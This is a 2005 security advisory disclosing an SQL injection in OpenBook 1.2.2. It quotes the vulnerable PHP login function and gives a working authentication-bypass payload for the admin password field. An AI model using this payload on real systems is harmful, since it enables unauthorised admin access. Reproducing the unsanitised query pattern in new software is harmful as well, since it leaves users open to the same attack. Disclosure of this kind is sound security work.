Related information

PHP, ASP, CGI web applications security vulnerabilities

RO CP root exploit

[HSC Security Group] SQL Injection in Product Cart 2.6

Kent's Guestbook database exploit

PC-EXPERIENCE/TOPPE CMS Security Advisory

From:	svt_(at)_svt.nukleon.us <svt_(at)_svt.nukleon.us>
Date:	02.08.2005
Subject:	[SVadvisory] - SQL injection in OpenBook 1.2.2

SVadvisory#12
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 Title: SQl injection                    
Product: OpenBook                        
Version: 1.2.2                           
  Site: http://openbook.sourceforge.net/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerabilities
***************
Code:
  function auth_user($userid, $password)
{
       global $HTTP_POST_VARS;
       global $admin_table;

       $userid=$HTTP_POST_VARS['userid'];
       $password=$HTTP_POST_VARS['password'];

       db_connect();

       $query="SELECT userid "
                                       ."FROM $admin_table "
                                       ."WHERE userid='$userid' AND password=password('$password')";
       $result=mysql_query($query);

       if(!mysql_num_rows($result))
       // no matches
       {
               return 0;
       }
       else
       // match found so return userid
       {
               $query_data=mysql_fetch_array($result);
               return $query_data['userid'];
       }
}// end auth_user()

Variable $userid, $password in admin.php are not checked before premises in SQL request, because of this
possible produce SQL-injection, after which, any user can gain access to admin panels

Here is idle time example substitutions:
-------------------------------
User ID: admin
Password: no') or 1/*
-------------------------------

Bug Found
*********
------------------------------------------------
Search Vulnerabilities Team - www.svt.nukleon.us
------------------------------------------------